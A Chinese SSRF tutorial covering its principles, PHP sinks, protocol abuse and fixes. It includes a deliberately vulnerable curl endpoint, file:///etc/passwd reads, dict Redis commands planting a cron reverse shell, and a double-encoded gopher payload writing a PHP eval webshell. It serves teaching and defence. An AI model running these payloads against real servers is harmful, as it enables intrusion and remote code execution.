漏洞简述
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造,由服务端发起请求的一个网络攻击,一般用来在外网探测或攻击内网服务,其影响效果根据服务器用的函数不同,从而造成不同的影响。
SSRF 形成的原因大都是由于服务端提供了从其他服务器获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
漏洞原理
Web服务器经常需要从别的服务器获取数据,比如文件载入、图片拉取、图片识别等功能,如果获取数 据的服务器地址可控,攻击者就可以通过web服务器自定义向别的服务器发出请求。因为Web服务器常 搭建在DMZ区域,因此常被攻击者当作跳板,向内网服务器发出请求。
漏洞危害
内网信息收集(如Web服务指纹识别、端口扫描、主机信息探测等)
② 通过构造payload攻击内网以及互联网应用(如Redis、tomcat、fastcgi、Memcache)
③ 通过伪协议进行攻击(file、dict、gopher、http、https、telnet、ldap等)
SSRF危险函数 :
SSRF危险函数在PHP中大致有这么几个: curl_exec()、file_get_content()、fopen()、fsockopen()
file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中。
readfile():输出一个文件的内容。
fsockopen():打开一个网络连接或者一个Unix 套接字连接。
curl_init():初始化一个新的会话,返回一个cURL句柄,供cur_lsetopt(),curl_exec()和curl_close() 函数使用。
fopen():打开一个文件文件或者 URL。
SSRF漏洞利用的相关协议
file协议:在有回显的情况下,利用 file 协议可以读取任意文件的内容
dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等
gopher协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。
gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
http/https协议:探测内网主机存活
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
漏洞利用
所有调外部资源的参数都有可能存在ssrf漏洞,例 http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://外部url/1.png
1)分享:通过URL地址分享网页内容
2)转码服务
3)在线翻译
4)图片加载与下载:通过URL地址加载或下载图片
5)图片、文章收藏功能
6)未公开的api实现以及其他调用URL的功能
7)从URL关键字中寻找
share
wap
url
link
src
source
target
u
3g
display
sourceURl
imageURL
domain
端口及服务探测
使用如下代码进行测试 :
<?php
highlight_file(__FILE__);
header("Content-Type:text/html; charset=utf-8");
$url = $_REQUEST['url'];
// 创建一个cURL资源
$ch = curl_init(); //初始化一个curl会话
// 设置URL和相应的选项,更多选项可在phpstorm中使用使用Ctrl+左键点击参数项进行查看
curl_setopt($ch,CURLOPT_URL,$url); //获取url传递的参数
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); //如果不开启此选项则默认不跟随302跳转,除非代码中有Location
curl_setopt($ch, CURLOPT_RETURNTRANSFER,0); //如果此选项被设置为FALSE,函数执行时会返回执行结果,如果为true的话需要使用echo等函数进行输出
//执行一个curl会话
curl_exec($ch);
// 关闭cURL资源,并且释放系统资源
curl_close($ch);
//echo $res;
?>
我们可以使用Burp中intruder模块对内网端口进行探测
首先在Intruder模块中将端口设置为变量
通过返回包 length 长度以及 response 响应来判断该端口是否开放
file协议利用
如果代码中存在echo等回显条件我们可以通过file协议来读取本地任意文件,前提条件是知道文件的绝 对路径。如果为Linux服务器的话利用方式也是一样的,如:file:///etc/passwd 或者c:/windows/win.ini
dict协议利用
通过该协议可以查看服务的banner信息,通过收集到的信息扩大攻击面,如: dict://ip:6379/info 查看redis相关信息,如内网搭建了redis,就可使用该协议进行信息收集,从而 进一步利用。(dict协议也可通过发送指定命令来达到redis getshell的效果 。
dict://<host>:<port>/命令:参数 这里的:代表命令之间的空格 在redis未授权中可以使用如下命令
进行shell获取
dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
dict://127.0.0.1:6379/config:set:dbfilename:root
dict://127.0.0.1:6379/set:1:nn*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1nn
dict://127.0.0.1:6379/save
详细可参考链接:https://www.cnblogs.com/wjrblogs/p/14456190.html
dict://ip:22/ 查看ssh相关版本信息
dict://ip:80 查看Web服务相关信息
gopher协议利用
经典组合拳SSRF+redis未授权访问Getshell,记得在之前面试的时候被问到过。 除了使用redis未授权,通过计划任务反弹shell以外,还可以通过redis写入文件,但需要知道该服务器 web绝对路径。
redis正常测试 :
# Keyspace
127.0.0.1:6379> FLUSHALL
OK
127.0.0.1:6379> set 1 '<?php phpinfo();?>'
OK
127.0.0.1:6379> config set dbfilename shell.php
OK
127.0.0.1:6379> save
OK
127.0.0.1:6379> config set dir '/var/www/html/'
OK
127.0.0.1:6379> save
OK
127.0.0.1:6379>
在SSRF中使用gopher协议可以直接向未授权的redis写入shell
gopher://192.168.230.138:6379/_
*1
$8
flushall
*3
$3
set
$1
1
$39
<?php @eval($_REQUEST['1ndex']); ?>
*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$10
shell2.php
*1
$4
save
其中 *n 代表着一条命令的开始,n 表示该条命令由 n 个字符串组成; $n 代表着该字符串有 n 个字符。 由于后端服务器与浏览器分别要对内容进行一次URL解码,所以payload要经过两次URL编码:
gopher%3A//xxx.xxx.xxx.xxx%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D
%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%25
2439%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_REQUEST%255B%25271
ndex%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%2524
6%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D
%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Acon
fig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%
252410%250D%250Ashell2.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%25
0A
gopher%3A//172.16.12.130%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252439%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_REQUEST%255B%25271ndex%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%252410%250D%250Ashell2.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
dict与gopher协议最大的不同点在于dict必须依次进行命令的传入而不能一次执行所有命令,而 gopher协议则可以一条命令执行所有语句。
安全修复
1过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
2统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
3限制请求的端口为http常用的端口,比如,80,443,8080,8090。
4黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
5禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。